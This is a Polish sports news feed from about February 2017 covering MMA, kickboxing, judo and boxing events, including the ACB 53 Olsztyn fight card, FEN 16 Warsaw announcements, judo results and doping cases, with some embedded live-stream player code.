Jedna z najsilniejszych organizacji MMA na świecie, – ACB – wraca do stolicy Warmii i Mazur. Tym razem fani sportów walki zobaczą aż 16 pojedynków w zawodowym MMA na najwyższym poziomie. Podczas ostatniej gali kibiców w Hali Urania do czerwoności rozgrzała walka wieczoru z udziałem Adriana Zielińskiego. Nie tylko ten olsztyński zawodnik po porażce podczas poprzedniej gali ACB, będzie chciał pokazać na co naprawdę go stać. Karta drugiej olsztyńskiej gali ACB została wypełniona mocnymi nazwiskami i zgodnie z motto organizacji „Less show more fighting”, szykuje się mnóstwo zawziętych pojedynków.

W walce wieczoru zobaczymy Adriana Zielińskiego (16-5), który skrzyżuje rękawice z Rasulem Yakhyaevem (10-3-1). Polak za wszelką cenę będzie chciał wygrać i wymazać z pamięci fanów porażkę przez poddanie, na poprzedniej gali ACB w jego rodzinnym Olsztynie. Jego przeciwnik też walczył na gali ACB 46. Przypomnijmy, że pojedynek Rasula Yakhyaeva z Łukaszem Rajewskim zakończył się jako nierozstrzygnięty z uwagi na nieumyślny faul Rosjanina. Zieliński musi pamiętać, że Yakhyaev to mocny zawodnik, który 70% zwycięskich pojedynków kończył już w pierwszej rundzie!

Przed walką wieczoru widzów czeka też mocna karta główna z udziałem siedmiu Polaków. Po przerwie powraca Karol Celiński (12-6-1), dla którego będzie to debiut w organizacji ACB. Olsztynianin zmierzy się ze doświadczonym zawodnikiem, Łukaszem Parobcem (12-5-0). Dla Parobca, mieszkającego na co dzień Wielkiej Brytanii również będzie to debiut w organizacji i jednocześnie pierwsza okazja do stoczenia walki w kraju.

Na gali w Olsztynie nie mogło też zabraknąć wielkiego talentu polskiego MMA, klubowego kolegi Celińskiego – Pawła Kiełka. Młody, 21 – letni wojownik stawi czoła pochodzącemu z Angoli Arturowi Lemos. Obydwaj zawodnicy legitymują się identycznym rekordem zwycięstw i porażek a stawianie na wyrównane pojedynki to jeden z wyróżników ACB.

Organizacja zakontraktowała również niepokonanego od ostatnich czterech walk Artura Kamińskiego oraz Patryka Wołodkiewicza i Pawła Karwowskiego z klubu Berkut Arrachion Olsztyn, Rafała "Papaja" Czechowskiego z klubu Grappling Kraków i Łukasza Szczerka z Berserkers Team Stargard Szczeciński, który po kilku miesiącach od ostatniej porażki wraca z zamiarem odbudowania rekordu!

Druga gala ACB w Olsztynie będzie 4. galą tej organizacji w Polsce i 53. na świecie. W tym roku przypada 5-lecie ACB, która powstała w marcu 2012 roku i to właśnie w Polsce zorganizowała swoją pierwsza galę poza siedzibą organizacji, która mieści się w Groznym.

Gala ACB 53

Hala Urania, al. Piłsudskiego 44, Olsztyn.

Start: godz. 18:00.

Bilety dostępne na www.ticketpro.pl oraz w sieci sklepów Empik.

KARTA WALKI ACB 53

Walka wieczoru:

70 kg.: Adrian Zieliński vs. Rasul Yakhyaev

Karta główna:

84 kg: Mikhail Tsarev (31-6) vs. Jonas Billstein (17-5)

93 kg: Karol Celiński (12:6) vs. Łukasz Parobiec (12-5)

70 kg: Pawel Kielek (7-2) vs. Artur Lemos (7-2)

77 kg: Ibragim Tibilov (10-7) vs. Mindaugas Verzbickas (11:4)

66 kg: Lamberd Akhyadov (6:4) vs. Rafał Czechowski (6:3)

77 kg: Aslambek Arsamikov (4:2) vs. Łukasz Szczerek (4:2)

70 kg: Bay Ali Shaipov (2:0) vs. Artur Kamiński (5:1)

77 kg: Jokhar Duraev (2:0) vs. Patryk Wołodkiewicz (2:0)

77 kg: Umar Gaisumov (2:0) vs. Paweł Karwowski (2:0)

Karta wstępna:

66 kg: Mehdi Baydulaev (3:0) vs. Murat Aktas (5:2)

66 kg: Adlan Mamaev (1-0) vs. Bahtiyer Abdulloev (1-0)

66 kg: Mansur Arsakhanov (1-0) vs. Paweł Lisiewski (0-0)

70 kg: Musilm Abdulaev (1-0) vs. Maciej Kaliciński (2-0)

61: Dukhvaha Astamirov (1-0) vs. TBA

57: Shamil Akhmaev (1-0) vs. Kamil Unruh (0-0)

——————————————————————————

AKREDYTACJA DLA MEDIÓW

Przedstawicieli mediów zapraszamy na oficjalną ceremonię ważenia, która odbędzie się 17 lutego (piątek) o godz. 18:00 w Galerii Warmińskiej oraz na sobotnią galę. Wymagana akredytacja.

Zgłoszenia prosimy kierować na adres mailowy: filip.lewandowski@socialtigers.pl

Wyniki Gali Pałuska Kickboxing Night 3

Wyniki Gali Pałuska Kickboxing Night 3:

1. K1 67 kg Tomasz Grądzki Husarz Białystok vs Piotr Jasnoch Panzer Suwałki
zwycięzca: Piotr Jasnoch

2. K-1 74 kg Mateusz Struzik Thor Szkoła Walki Ełk vs Cezary Arcimowicz Panzer Suwałki
– zwycięzca: Cezary Arcimowicz
3. K1n 80 kg Arvydas Kryzevicius Vilkas / Litwa vs Patryk Szyszko Palestra Warszawa
– zwycięzca: Arvydas Kryzevicius                                
4. K1 68 kg Ovidijus Dirzys Impulsas / Litwa vs Szymon Dembowski Panzer Suwałki
– zwycięzca: Ovidijus Dirzys                                                     
5. K-1 73 kg Lukas Jablonskij Vilkas / Litwa vs Mateusz Gudanowski Panzer Suwałki
– zwycięzca: Lukas Jablonskij                                                    
6. F-c 91 kg Adrian Kowalkowski Fight Club Działdowo vs Tomasz Piechocki KKS Sporty Walki Poznań
– zwycięzca: Adrian Kowalkowski
7. F-c 56 kg Paulina Szewczuk SKKB Lublin vs Dorota Godzina DSF Team -X Fight Piaseczno
– zwycięzca: Dorota Godzina               
8. K1 81 kg Aleksy Zienkiewicz Fight Academy Ostrołęka vs Rafał Kamiński Panzer Suwałki
– zwycięzca: Rafał Kamiński

I Walka Wieczoru
9. F-c 81 kg Michał Ciach KKS Sporty Walki Poznań VS Robert Krasoń Tom Center
– zwycięzca: Robert Krasoń
II Walka Wieczoru                                            
10. K1 81 kg Karolis Liukaitis Otso Gym / Litwa vs Mateusz Żukowski AS Fighters Team Pisz
– zwycięzca: Karolis Liukaitis

Arbi Shamaev nowym zawodnikiem federacji FEN

Arbi Shamaev, jeden z najciekawszych zawodników MMA młodego pokolenia w Polsce, podpisał kontrakt z organizacją Fight Exclusive Night. 26-letni fighter WCA Fight Team zadebiutuje w klatkoringu FEN już 11 marca podczas gali FEN 16 Warsaw Reloaded na Torwarze.

Arbi Shamaev (26 lat, 172 cm, 8-3, 5 SUB, 1 KO) zaliczany jest do czołówki polskich zawodników kategorii piórkowej, ale w federacji Fight Exclusive Night utalentowany czeczeński wojownik wzmocni dywizję kogucią, w której dołączy do takich świetnych zawodników, jak Kamil Selwa i Piotr Olszynka.

Urodzony w Groznym, ale mieszkający obecnie w Warszawie Arbi Shamaev jest dwukrotnym mistrzem Polski w amatorskim MMA i zwycięzcą mistrzostw Polski w grapplingu. W zawodowym MMA debiutował w 2011 roku. W ciągu sześciu lat stoczył 11 walk, z który osiem wygrał (5 poddań i 1 nokaut) i trzy przegrał. Za najlepszy występ w swojej karierze podopieczny trenera Roberta Jocza uważa zwycięski pojedynek z Helsonem Henriquesem. Czeczeniec wygrywał także z takimi zawodnikami, jak Łukasz Grochowski, Białorusin Semen Tyrlya i Tomasz Zawadzki – pokonując tego ostatniego, zdobył w 2014 roku pas mistrza federacji 3F.

FEN

FEN 16 Warsaw Reloaded – oficjalny plakat

Do FEN 16 Warsaw Reloaded na Torwarze pozostały już tylko 4 tygodnie, najwyższa więc pora przedstawić oficjalny plakat drugiej w historii warszawskiej gali organizacji Fight Exclusive Night.

Przypomnijmy, że gala FEN 16 Warsaw Reloaded odbędzie się już 11 marca na Torwarze, a jej głównymi wydarzeniami będą walka wieczoru niepokonanego od blisko 4 lat Kamila "Bomby" Łebkowskiego z utalentowanym Brazylijczykiem Gabrielem "Gabito" Silvą, bratem zawodnika UFC Ericka Silvy, oraz walka o pas mistrzowski w MMA wagi półśredniej Pawła Żelazowskiego z Kamilem Gniadkiem. W klatkoringu FEN tego wieczora wystąpią także inni znakomici fighterzy MMA, jak Michał Oleksiejczuk, Bartłomiej Kopera, Paweł Pawlak, Ireneusz Szydłowski i Arbi Shamaev, oraz czołówka polskich zawodników K-1, m.in. Arkadiusz Wrzosek, Radosław Paczuski i Marcin Szreder.

Bilety na galę FEN 16 Warsaw Reloaded do kupienia na Eventim.pl (goo.gl/bM47vm) i KupBilet.pl (goo.gl/Wdw5Pz). Bilety VIP i zamówienia grupowe – tel. 601 877 229.

Pucharowe zmagania w Mysiadle

Za nami zmagania w Pucharze Polski seniorek i seniorów w judo, które odbyły się w podwarszawskim Mysiadle. Najlepiej zaprezentowali się zawodnicy GKS Czarni Bytom, którzy wywalczyli sześć medali.

Wśród startujących w Mysiadle nie brakowało mocnych nazwisk. Na tatami zaprezentował się brązowy medalista mistrzostw Europy w Kazaniu, a także mistrzynie Europy w drużynie Anna Borowska, Karolina Tałach oraz Anna Załęczna.

Faworyci nie zawiedli, choć…

Za niespodziankę należy uznać porażkę w finale kategorii 63kg Karoliny Tałach. W ubiegłym roku mistrzyni Europy w drużynie notowała dobre występy. Wygrała zawody Grand Prix w Zagrzebiu, a także zdobywała medale w Rzymie i Tallinie. W Mysiadle dwie wygrane walki dały jej finał, w którym niespodziewanie lepsza okazała się Dominika Błach. Blisko pięć lat temu o brąz Igrzysk Olimpijskich w Londynie walczył Paweł Zagrodnik. Niespełna 30-letni judoka Czarnych Bytom był faworytem do triumfu w Pucharze Polski w rywalizacji w kategorii 73kg. Wszystko układało się po myśli Zagrodnika, jednak na jego drodze w finale stanął Mateusz Garbacz i to zawodnik UMKS Żak Kielce cieszył się ze zwycięstwa w silnie obsadzonej kategorii 73kg, gdzie wystartowało 28 judoków.

W Mysiadle przypomniał o sobie Aleksander Beta (66kg), który stanął na najwyższym stopniu podium. Judoka KS Gwardii Łódź wygrał pięć walk, ale w jego kategorii zaprezentowało się zaledwie ośmiu zawodników. Piotr Kuczera rozdawał karty wśród zawodników w limicie 90kg. Brązowy medalista ubiegłorocznych mistrzostw Europy w finale uporał się z Tomaszem Szczepaniakiem z Klubu Judo AZS Opole. 

Wśród pań ze zwycięstwa cieszyła się Paula Kułaga (78kg). Brązowa medalista mistrzostw Europy U23 w finale pokonała Darię Tymann. W najcięższej kategorii najlepsza Anna Załęczna (+78kg), jednak o triumf przyszło jej toczyć bój zaledwie z… trzema rywalkami. Trzeba przyznać, że wśród pań rywalizacja była ograniczona ze względu na frekwencję. Najwięcej zawodniczek wystartowało w kategorii 63kg – 12. O zwycięstwo w 52kg rywalizowały tylko trzy judoczki.

Czarni pozostawili wszystkich w tyle

Drużynowo w Mysiadle najlepiej wypadli judocy GKS Czarni Bytom, którzy zdobyli sześć medali (po dwa każdego koloru). W tym przypadku ilość przełożyła się na jakość. Czarni wystawili 12 zawodników, czyli najwięcej spośród całej stawki. Złote medale dla Bytomia zdobyli Barbara Białas (70kg) i Ewa Konieczny (48kg).

Druga pozycja w klasyfikacji medalowej przypadła ekipie KS „Kejza Team” Rybnik, kolejne zajął WKS Śląsk Wrocław. Obie ekipy wywalczyły po dwa złota.

Na koniec garść statystyk. W Mysiadle wystartowało łącznie 25 klubów, co dało 149 zawodników. Zdecydowanie więcej było panów – 108, przy 41 paniach. Podczas Pucharu Polski w judo stoczono 213 walk. Różnica między najmłodszym a najstarszym uczestnikiem zmagań wyniosła 26 lat.

KM

Tybura musi czekać…

Marcin Tybura może mówić o prawdziwym pechu. Ostatnie dni były dla polskiego fightera pełne zawirowań, a ich finał nie jest szczęśliwy dla 31-latka. Tybura nie zaprezentuje się na gali UFC 208.

Polak miał wejść do oktagonu UFC po raz trzeci. Nie pozostaje mu nic innego jak czekać na kolejną szansę. Jedynym pocieszeniem jest to, że Tybura za niedoszłą walkę dostanie… wynagrodzenie.

Zamieszanie z rywalem

Jeszcze kilka dni temu wydawało się, że wszystko jest na dobrej drodze, żeby 11 lutego w Centrum Barclays na Brooklynie 31-latek zmierzył się z Luisem Henrique. Komisja Sportowa stanu Nowy Jork nie dopuściła do występu Brazylijczyka. Powodem takiej decyzji była operacja oczu zawodnika, która miała miejsce… blisko rok temu. Przedstawiciele komisji są niezwykle drobiazgowi i zwrócili uwagę, że z powodu infekcji Brazylijczyk może mieć powikłania zdrowotne. Decyzja zaskoczyła niemalże wszystkich. Warto wspomnieć, że od czasu operacji Luis Henrique stoczył dwie walki.

W miejsce Brazylijczyka wskoczył Justin Willis. Wydawało się, że sytuacja jest opanowana i Marcin Tybura stoczy trzecią walkę w UFC. 29-letni Amerykanin stawia pierwsze kroki w MMA. Willis starciem z Tyburą miał zadebiutować w UFC, ale swoje plany musi odłożyć na bok. Po raz kolejny Komisja Stanowa wybiła się na pierwszy plan. Tym razem zwrócono uwagę na osłabienie organizmu, które spowodowane było szybkim zbijaniem wagi przez Willisa. Jak pech, to pech. Wypada jeszcze dodać, że Tybura miał zaprezentować się w październiku na gali UFC Fight Night 97 w Manilii. Na Polaka czekał mocny Derrick Lewis. Filipińska gala została jednak… odwołana.

Jeżeli szukać jakiegokolwiek pozytywu w całej sytuacji, to należy odnieść się do finansów. Tybura ma otrzymać wynagrodzenie za niedoszłą walkę. Polak nadal czeka na kolejny pojedynek w UFC. W debiucie przegrał z Timothnym Johnsonem, który w marcu zmierzy się z Danielem Omielańczukiem. Starcie z Viktorem Pestą zakończyło się triumfem 31-letniego fightera w drugiej odsłonie.

Plany UFC

Najlepsza organizacja MMA na świecie ma bogate tegoroczne plany. Łącznie kibice będą mogli podziwiać 41 gal, w tym trzynaście pay-per-view. Czyli narzekać na nudę nie można.

W zdecydowanej większości UFC planuje rozwijać się w domu, czyli w USA. Popularność MMA stale rośnie i tamtejszy rynek daje ogromne możliwości oraz szansę zysku. Ponadto, trzy gale odbędą się w Kanadzie, Brazylii oraz na kontynencie azjatyckim. Po dwie zaplanowano w Ameryce Łacińskiej i w Australii. Z kolei pięć wydarzeń rozłoży się na Europę, Środkowy Wschód i Afrykę.

Fot. uno-per-due.blogspot.com

KM

LIVE: FEN 16 Warsaw Reloaded – Ceremonia ważenia

Zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia przed galą FEN 16 Warsaw Reloaded.

[kod]

FEN 16 Warsaw Reloaded Ceremonia Ważenia

FEN 16 Warsaw Reloaded Ceremonia Ważenia

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Polsko-litewskie porachunki w Suwałkach

Już 11 lutego w hali OSiR w Suwałkach odbędzie się gala Pałuska Kickboxing Night 3, która zapowiada jest jako największe sportowe wydarzenie w północno-wschodniej Polsce. Chciałoby się powiedzieć „oj, się będzie działo”! Czy na pewno? O tym będziecie mogli przekonać się na antenie telewizji FighTime, która przeprowadzi transmisję z gali. 

Gala Pałuska Kickboxing Night 3 cieszy się ogromnym zainteresowaniem. W kasach zostały ostatnie wejściówki. Bilety rozchodzą się szybciej niż ciepłe bułeczki.

Mecz Polska – Litwa

Może brzmi to nieco po piłkarsku, ale sama idea stworzenia spotkania pomiędzy dwoma krajami wzbudza dodatkowe emocje. W tym starciu musi paść rozstrzygnięcie, więc zawodnicy nie będą się oszczędzać. Warto dodać, że rywalizacja odbędzie się na płaszczyźnie K-1. Kibice zobaczą cztery polsko-litewskie starcia. Zaprezentuje się w nich trzech zawodników Panzera Suwałki: Szymon Dembowski (68kg), Piotr Jasnoch (67kg) oraz Matuesz Gudanowski (73kg). Ich rywalami będą kolejno Ovidijus Dirzys, Arnoldas Paszkiavicius i Lukas Jablonskij. W czwartym pojedynku zobaczymy Patryka Szyszko (80kg) z warszawskiej Palestry, który spotka się z Arvydasem Kryzeviciusem.

Organizatorzy rozpoczęli już końcowe odliczanie. Zapewniają, że zadbali o każdy szczegół. – Wiadomo, że są elementy, nad którymi trzeba czuwać, ale spokojnie mogę powiedzieć, że praktycznie wszystko jest gotowe – podkreśla Łukasz Szczodruch, jeden z organizatorów gali Pałuska Kickboxing Night 3.

Kibice zobaczą dziesięć walk, w których wystąpi aż sześciu miejscowych zawodników. Oprócz wcześniej wspomnianych będą to: Rafał Kamiński (81kg), który zmierzy się z Aleksym Ziemkiewiczem, z kolei Cezary Arcimowicz (74kg) otworzy galę pojedynkiem z Mateuszem Struzikiem. Nie zabraknie walk w formule full contact. W Suwałkach zaprezentuje się wielokrotna medalistka mistrzostw Polski Dorota Godzina (56kg) z X Fight Piaseczno. Jej rywalką będzie Paulina Szewczuk. Galę zamknie starcie Michała Ciacha z KKS Sporty Walki Poznań z Robertem Krasoniem z Tom Center. – Cały czas będzie obecne napięcie. Na początku wystąpią mniej znani zawodnicy, ale doskonale znani kibicom z Suwałk, więc atmosfera powinna być gorąca. Im dalej, tym mocje będą rosły – zapewnia Szczodruch.

Czas na finał

Przygotowanie gali to nie lada wyzwanie. Organizatorzy muszą podjąć ogromny wysiłek i wszystkiego dopilnować. Zwieńczeniem ciężkiej pracy ma być efektowna gala. – Przygotowania rozpoczęliśmy około pół roku temu. Mocno ruszyliśmy trzy miesiące temu i cały czas nad wszystkim czuwamy. Teraz czekamy na efekt. Cieszymy się, że praktycznie wszystkie bilety zostały sprzedane. Zostało jeszcze około 80 wejściówek – tłumaczy organizator gali Pałuska Kicbboxing Night.

Zebrani w hali OSiR będą ściskać kciuki za zawodników Panzera. – Chcę, żeby nasi podopieczni dali z siebie wszystko. Jeśli zostawią serce na ringu, to będę z nich zadowolony – mówi Szczodruch.

Początek gali o 20.00.

KM

Omielańczuk czysty jak łza

W ubiegłym roku w organizmie Daniela Omielańczuka wykryto meldonium. Zawodnik UFC podkreślał, że stosował środek we wrześniu 2015 roku, kiedy specyfik nie był zakazany. W końcu Amerykańska Komisja Antydopingowa uwolniła polskiego zawodnika wagi ciężkiego od zarzutu stosowania niedozwolonej substancji.

Meldonium stało się przekleństwem wielu sportowców. Jeszcze w 2015 mogli je stosować w celach leczniczych, jednak wraz z dniem 1 stycznia 2016 roku wpisano je na listę środków zakazanych. Bohaterką największej afery związanej ze stosowaniem meldonium była tenisistka Maria Szarapowa. Problemy dotknęły również reprezentującego Polską zapaśnika Magomedmurada Gadżijewa, którego występ na Igrzyskach Olimpijskich w Rio de Janeiro stanął pod znakiem zapytania. Ostatecznie mistrz Europy pojechał do Brazylii. W lipcu ubiegłego roku gruchnęła wiadomość, że specyfik stosował Daniel Omielańczuk.

Od początku pewny swego

Od początku sprawy 34-letni zawodnik zachowywał spokój, choć zapewne nie było to łatwe. Omielańczuk ze szczegółami podawał, kiedy przyjmował meldonium i w jakim celu. Wynik pozytywny dała próbka B z 21 stycznia 2016 roku, a więc trzy tygodnie po wpisaniu substancji na listę zakazanych. – Zawsze sprawdzamy wszystkie środki i leki pod kątem substancji zakazanych. Zawsze chętnie i z czystym sumieniem poddaję się kontroli antydopingowej. W pełni popieram politykę antydopingową UFC i USADA i cieszę się, że próbuje się wyrzucić oszustów z naszego sportu. Sam jednak nie mam sobie nic do zarzucenia, ponieważ miałem medyczne uzasadnienie do przyjmowania legalnego wówczas środka – tłumaczył wtedy zawodnik. 

Cała sytuacja nie miała wpływu na karierę 34-letniego fighter, który 13 lipca na UFC Fight Night 91 pokonał mocnego Alexeya Olejnika. Było to trzecie zwycięstwo z rzędu Omielańczuka, a czwarte podczas przygody z UFC. W kolejnym starciu Polak przegrał ze Stefanem Struve.

W końcu Omielańczuk został oczyszczony z zarzutu o stosowanie zakazanych substancji. Teraz już nikt nie może mieć żadnych wątpliwości, co do „czystości” polskiego wojownika. – Jakiś czas temu świat obiegła informacja o zażywaniu przeze mnie meldonium. Amerykańska Komisja Antydopingowa po zapoznaniu się z moimi wyjaśnieniami i historią medyczną uwolniła mnie od zarzutu stosowania niedozwolonej substancji. Meldonium potrzebne było w celach medycznych i w okresie, kiedy nie było zakazane.  Gdy tylko okazało się, że zostanie wprowadzone na listę środków zakazanych, zmieniliśmy rodzaj terapii. Zawsze z czystym sumieniem poddaje się kontroli antydopingowej i to się nie zmieni – napisał 34-latek na swoim facebooku.

Czeka na piąte zwycięstwo

18 marca w Londynie Daniel Omielańczuk będzie miał kolejną szansę, żeby wznieść ręce w geście triumfu. Podczas gali UFC Fight Night 107 zmierzy się z Timothy'm Johnsonem. Blisko rok temu Amerykanin pokonał Marcina Tyburę, ale w ostatnim starciu musiał uznać wyższość Alexandra Volkova.

KM

FEN 16 Warsaw Reloaded bez walki Hadaś vs Grzebyk

Nie dojdzie do skutku zaplanowana na 11 marca walka o tytuł mistrzowski w kategorii średniej między Andrzejem Grzebykiem a Pawłem Hadasiem. Przyczyną anulowania pojedynku są sprawy osobiste zawodnika z Rzeszowa. Zamiast nich na gali FEN 16 Warsaw Reloaded wystąpi Bartłomiej Kopera, który zmierzy się z rywalem z zagranicy.

Andrzej Grzebyk poinformował zarząd federacji FEN, że z ważnych powodów osobistych nie może bić się na gali FEN 16 Warsaw Reloaded. Po przeanalizowaniu sprawy argumenty przedstawione przez zawodnika Legion Team Tarnów zostały przyjęte. Jednocześnie zarzaduznał, że nie będzie poszukiwany nowy rywal dla Pawła Hadasia. Zawodnik otrzymał propozycję interesującej pod względem sportowym walki trzy tygodnie później podczas zawodów w rodzinnym Chorzowie i włodarze FEN wyrazili zgodę na jego występ przed własną publicznością.

Paweł Hadaś, który nadal jest związany kontraktem z organizacją Fight Exclusive Night, z pewnością jeszcze w tym roku pojawi się w klatkoringu FEN. Wstępnie jego walka planowana jest podczas jesiennej gali.

Zamiast starcia Andrzeja Grzebyka z Pawłem Hadasiem kibice na Torwarze obejrzą walkę z udziałem jednego z najlepszych polskich piórkowych, niepokonanego od blisko trzech lat Bartłomieja Kopery (24 lata, 175 cm, 8-2, 6 SUB). Łodzianin od marca 2014 wygrał sześć walk z rzędu, z czego dwie ostatnie w organizacji FEN – na gali FEN 11 Warsaw Time jednomyślną decyzją sędziów pokonał Sebastiana Kotwicę, a na gali FEN 13 Summer Edition poddał w pierwszej rundzie Nikodema Szymańskiego. Rywalem Kopery podczas FEN 16 Warsaw Reloaded będzie zawodnik z zagranicy, a jego nazwisko zostanie ogłoszone w ciągu kilku dni.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

LIVE: Gala Pałuska Kickboxing Night 3

Zapraszamy na transmisję telewizyjną na żywo z gali Pałuska Kickboxing Night 3. Organizatorem gali jest klub Panzer Suwałki. Start gali sobota 11 luty godz. 19.00.

[kod]

Gala Pałuska Kickboxing Night 3

Gala Pałuska Kickboxing Night 3

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PanzerSuwalki2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PanzerSuwalki2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PanzerSuwalki2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PanzerSuwalki2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: FEN 16 Warsaw Reloaded – Trening medialny

Zapraszamy na transmisję telewizyjną na żywo z treningu medialnego przed galą FEN 16 Warsaw Reloaded.

[kod]

FEN 16 Warsaw Reloaded Trening Medialny

FEN 16 Warsaw Reloaded Trening Medialny

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Wilder bije się o 5 milionów

Ale nie na ringu, tylko w sądzie. Rusza proces, w którym Deontay Wilder oskarża Aleksandra Powietkina o stratę 5 milionów dolarów.

Przyszłość rosyjskiego pięściarza stoi pod znakiem zapytania. Wszystko przez jego przygody z zakazanymi środkami. Gdyby tego było mało, do akcji wkroczył Wilder.

Hit tylko na papierze

21 maja 2016 roku na ringu w Moskwie Deontay Wilder miał stanąć do kolejnej obrony mistrzowskiego pasa WBC w wadze ciężkiej. Wyzwanie rzucił mu Aleksander Powietkin. 37-letni dziś Rosjanin to były czempion WBA, który rywalizował z samym Władimirem Kliczko. Przez lata uchodził za pięściarza o ogromnych możliwościach. W maju miał szansę stoczyć kolejną mistrzowską walkę, ale ją zaprzepaścił. Początkowo pojedynek Rosjanina z Wilderem został przełożony, a następnie odwołany.

W organizmie popularnego „Saszy” wykryto meldonium, czyli specyfik, który stał się źródłem kłopotów dla wielu sportowców. Warto przypomnieć, że substancja znalazła się na liście zakazanych wraz z początkiem 2016 roku. Można by tłumaczyć Powietkina, że pewnie używał meldonium wcześniej i tylko w celach leczniczych, ale… No właśnie i tu pojawia się problem. Rosjanina przebadano 7, 8 i 11 kwietnia, wszystkie próbki wskazywały, że jest „czysty”. Jednak 27 kwietnia sytuacja była zgoła odmienna. Wynik badania był pozytywny – Rosjanin został przyłapany na stosowaniu dopingu.

Gdyby tego było mało, w grudniu Powietkin zaliczył kolejną dopingową wpadkę. Przed starciem z Bermanem Stivernem, w organizmie 37-latka wykryto zakazaną ostarynę. Co istotne, Rosjanin walczył w grudniu, ale nie ze Stivernem. W Jekaterynburgu zmierzył się z Johannem Duhaupasem, którego ciężko poturbował. Rosjanin oczekuje na decyzję WBC, która może go zdyskwalifikować za przyjmowanie niedozwolonych środków.

Do akcji wkroczył również Deontay Wilder. Mistrz świata WBC przygotowywał się do starcia z Rosjaninem, które miało być jednym z najciekawszych walk ostatnich lat. O pojedynku mówiło się wiele, ale wpadka dopingowa „Saszy” przekreśliła wszystko. Wilder wycenia swoje straty na 5 milionów dolarów. Sprawą zajmie się sąd. Obrońca Rosjanina będzie starał się przedstawić argumentację, która pozwoli wyjść jego klientowi zwycięsko z tej batalii. Zwraca się uwagę na fakt, że meldonium może występować w moczu nawet do roku. Czy Powietkin wyjdzie cało z tego starcia?

Dwa tygodnie do walki

Sprawa sądowa będzie toczyła się swoim torem, a Deontay Wilder szlifuje formę przed starciem z Geraldem Washingtonem, które odbędzie się 25 lutego na gali w Legacy Arena w Birmingham. To będzie piąta obrona tytułu dla 31-letniego pięściarza.

Pierwotnie o pas WBC miał boksować Andrzej Wawrzyk, jednak w jego organizmie wykryto niedozwolone środki. Sprawa jest wyjaśniana.

KM

Polacy tłem dla rywali

Za nami weekend z zawodami European Judo Open. Japonki najlepsze w Sofii, a Francuzi w Odivelas. Polacy nie zachwycili.

Po zimowej przerwie judocy wrócili na tatami. Czekamy na pierwsze medalowe występy biało-czerwonych. Polacy startowali w Bułgarii i Portugalii, ale szybko odpadali z rywalizacji.

Dwie w Sofii

W Bułgarii wystąpiło 141 zawodniczek z 22 krajów. Najliczniej była obsadzona kategoria 52kg, gdzie zaprezentowało się 28 judoczek. W tym gronie znalazła się również Agata Perenc. 26-letnia Polka, która zajmuje 34. miejsce w światowym rankingu ubiegłoroczne starty zaczęła od 3. miejsca w Tunisie. Dwa lata temu była na najniższym stopniu w Oberwart. Po raz trzeci nie udało się wejść z sukcesem w sezon. 

W Sofii Perenc stoczyła zaledwie dwa pojedynki. Na początek szybko uporała się z Turczynką Damlą Caliskan i wygrała przez ippon. Trudne warunki Polce postawiła Galiya Sagitova. Rosjanka zanotowała waza-ari, ostatecznie zakończyła zmagania na siódmej pozycji.

Drugą z naszych zawodniczek startujących w Sofii była Julia Kowalczyk (57kg). W ubiegłym roku 19-latka stanęła na trzecim miejscu podium na mistrzostwach Europy juniorów. Wystąpiła również w dwóch zawodach na poziomie seniorskim. W Sarajewie doszła do ćwierćfinału, zaś w Warszawie odpadła po dwóch pojedynkach. Zmagania w Sofii również zakończyła na drugiej walce. Rywalizację w Bułgarii Polka rozpoczęła od zdecydowanej wygranej z Tugbą Zehir. 19-letnia judoczka triumfowała przez ippon, ale w kolejnej walce w ten sam sposób… przegrała. Lepsza od Kowalczyk okazała się Sarah Harachi, która ostatecznie zajęła trzecie miejsce.

Rywalizację w Bułgarii zdominowały zawodniczki z Japonii, które zdobyły pięć złotych medali. Dołożyły do tego trzy srebra i dwa brązy.

Szybka przygoda

Bez rewelacji również nasza męska część kadry. Sześciu zawodników startowało w Portugalii, jednak żaden z nich nie otarł się o podium. Łącznie w Odivelas zaprezentowało się 220 judoków.

W kategorii 60kg wystąpili Adrian Wala i Bartłomiej Garbacik. Pierwszy z nich w ubiegłym roku zajął 3. miejsce w Pucharze Europy w Dubrowniku, a w Tallinie był piąty. Rywalizację w Portugalii rozpoczął od zwycięstwa z Nicolasem Gomezem, którego zdominował w całości. Cedric Revol zawiesił Polakowi wysoko poprzeczkę i wygrał przez ippon. Z kolei Garbacik przegrał z Joshuą Katzem przez… dwie kary shido.

21-letni Patryk Wawrzyczek w kategorii 66kg pożegnał się z rywalizacją po pierwszej walce. Tak samo jak Wiktor Mrówczyński (73kg). Z kolei Tomasz Szczepaniak (90kg) i Kamil Niedziela (100kg) wygrali po jednej walce.

Najlepsi w Odivelas okazali się Francuzi, ale kroku dotrzymywali im Rosjanie. Trójkolorowi wywalczyli dziewięć medali, w tym dwa złote i dwa srebrne. O ich pierwszeństwie w klasyfikacji medalowej zdecydowała ilość brązowych krążków. Francuzi zdobyli ich pięć, a Rosjanie tylko jeden (razem pięć medali: dwa złote, dwa srebrne i brąz).

KM

Paweł Pawlak vs Ireneusz Szydłowski na karcie walk FEN 16 Warsaw Reloaded

